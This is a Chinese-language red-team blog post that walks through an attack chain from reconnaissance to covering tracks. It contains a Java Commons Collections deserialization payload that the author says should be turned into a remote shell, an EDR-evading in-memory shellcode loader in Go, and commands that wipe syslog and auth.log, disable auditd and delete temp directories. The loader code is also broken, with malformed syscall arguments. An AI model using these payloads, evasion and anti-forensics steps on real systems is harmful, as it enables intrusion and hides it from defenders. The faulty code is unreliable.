一、推演防御中的盲点
当企业部署了高性能的防火墙、EDR(终端检测与响应)和日志审计系统时,是否意味着就能完全防御红队的渗透行为?答案是否定的。从红队的视角来看,防御体系的设计往往存在以下几个常见的盲区,我们可以利用这些盲区设计攻击链:
盲区1:过度依赖已知威胁模型
许多防御系统基于已知的攻击模式,例如已记录的恶意行为签名或特定流量模式。这些系统对未知威胁,尤其是定制化攻击载荷,往往力不从心。红队攻击者可以利用这一特点,通过伪造流量或定制工具绕过。
盲区2:忽视横向流量
防御系统通常关注异常的外部流量,但网络内部的横向移动往往被忽视。攻击者可以通过内网扫描、用户凭证盗取等手段,在内部环境中悄无声息地扩展权限。
盲区3:日志审计不全面
虽然日志是防御者的重要数据来源,但日志覆盖不足或缺乏实时分析能力,会导致许多攻击行为被遗漏。红队可以在攻击过程中伪造或清理痕迹,进一步降低被发现的可能性。
针对这些盲区,我们可以设计一个完整的攻击链,从信息收集到痕迹清除,贯穿整个攻防过程。
---
二、从信息收集开始:锁定目标
红队行动的第一步,是彻底摸清目标网络环境。这一阶段的成功与否将直接决定后续行动的效果。
被动信息收集
我们可以通过公开的网络资源获取目标信息,例如:
- 子域名枚举:使用工具如
SubFinder和Amass。 - DNS解析记录:通过解析目标域名获取IP。
- 历史漏洞:查询CVE库,结合Shodan等工具找目标是否有历史存在的漏洞。
以下是一个简单的Go语言脚本,用于调用Shodan API搜索目标的历史暴露信息:
<pre><code class="language-go">package main
import ( "fmt" "net/http" "io/ioutil" "encoding/json" )
func main() { apiKey := "your_shodan_api_key" query := "target_domain_or_ip" url := fmt.Sprintf("https://api.shodan.io/shodan/host/search?query=%s&key=%s", query, apiKey)
resp, err := http.Get(url) if err != nil { fmt.Println("Error fetching data:", err) return } defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body) var result map[string]interface{} json.Unmarshal(body, &result)
for _, match := range result["matches"].([]interface{}) { fmt.Println(match.(map[string]interface{})["ip_str"]) } }</code></pre>
主动信息收集
在获得基本目标范围后,可以尝试通过扫描工具如 nmap 和 masscan 主动探测目标开放的端口和服务。以下是一个简单的Shell脚本,用于快速扫描目标:
<pre><code class="language-bash">#!/bin/bash
TARGET=$1
echo "[+] Scanning target: $TARGET" nmap -p- -T4 -sV --open $TARGET > scan_results.txt
echo "[+] Scan complete. Results saved to scan_results.txt"</code></pre>
通过大量的信息收集,红队可以确认目标暴露面,并为后续的漏洞利用阶段做好准备。
---
三、Payload构造的艺术:绕过检测的关键
攻击的核心是Payload,一个好的Payload不仅要有效,还要能够绕过各种防御机制。这里我们详细探讨如何构造一个免杀的攻击载荷。
利用常见漏洞点
以反序列化漏洞为例,攻击者可以利用目标的漏洞点执行远程代码。以下是一个典型的Java反序列化Payload(基于Commons Collections库):
<pre><code class="language-java">import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class Exploit { public static Object getPayload() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); return transformerChain; } }</code></pre>
这个Payload会触发目标的计算器程序,但在实战中,我们需要将其改为远程Shell或其他恶意载荷以便进一步控制。
免杀与混淆技巧
单纯的Payload往往会触发AV/EDR的检测,红队需要利用混淆和动态加载技术让Payload看起来像正常行为。例如,我们可以在Go语言中设计一个动态内存加载的模块:
<pre><code class="language-go">package main
import ( "syscall" "unsafe" )
func main() { // Shellcode should be encoded or encrypted in real-world scenarios shellcode := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8}
// Allocate memory in process addr, _, _ := syscall.Syscall(syscall.SYS_MMAP, 0, uintptr(len(shellcode)), syscall.PROT_READ|syscall.PROT_EXEC)
// Copy shellcode to allocated memory copy((*[4096]byte)(unsafe.Pointer(addr))[:], shellcode)

// Execute shellcode syscall.Syscall(addr, 0, 0, 0) }</code></pre>
上述代码演示了如何动态加载Shellcode,并将其执行在内存中,绕过传统文件检测。
---
四、横向移动与权限提升:内网的猎场
进入目标内网后,红队的下一步行动是扩展权限和横向移动。
内网扫描与服务分析
攻击者通常使用工具如 SharpHound(结合BloodHound图形化分析)来定位关键资产,例如域控制器、存储服务器等。
一个简单的Shell脚本可以用于快速扫描内网:
<pre><code class="language-bash">#!/bin/bash
echo "[+] Scanning local network..." for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip | grep "64 bytes" | cut -d " " -f 4 done</code></pre>
此脚本扫描了192.168.1.0/24网段中的所有存活主机,为进一步的攻击提供基础数据。
---

五、痕迹清除:销毁证据的艺术
攻击成功后,最后一个重要环节是痕迹清除。以下是常见的方法:
日志伪造与清理
Linux环境中清理日志常用以下命令: <pre><code class="language-bash"># 清空系统日志 echo "" > /var/log/syslog echo "" > /var/log/auth.log
禁用目标主机的审计服务
systemctl stop auditd systemctl disable auditd</code></pre>

临时文件清理
攻击过程中产生的临时文件也需要清理: <pre><code class="language-bash">rm -rf /tmp/ rm -rf /var/tmp/</code></pre>
以上技巧可以大幅降低被追溯的可能性,但需注意操作时不能留下命令执行痕迹。
---
六、个人经验分享:如何成为真正的红队专家
在多年的红队实战中,我学到的最重要的经验是保持灵活性。防御体系在不断更新,而红队的工具和技术也必须随之发展。以下是我的几点建议:
- 持续学习新工具:每年都会有新的红队工具出现,例如Sliver、Havoc,这些工具可以帮助更好地对抗最新的防御技术。
- 模拟真实环境测试:通过搭建靶场或使用云环境模拟目标网络,提高攻击技能。
- 关注漏洞动态:实时跟进CVE库和安全社区,了解最新的攻击手段和漏洞,保持技术领先。
红队的世界充满挑战,也充满乐趣。每一次成功的攻防演练,都是一次提升自我的机会。希望这篇文章能为你的红队之旅提供一些实战灵感。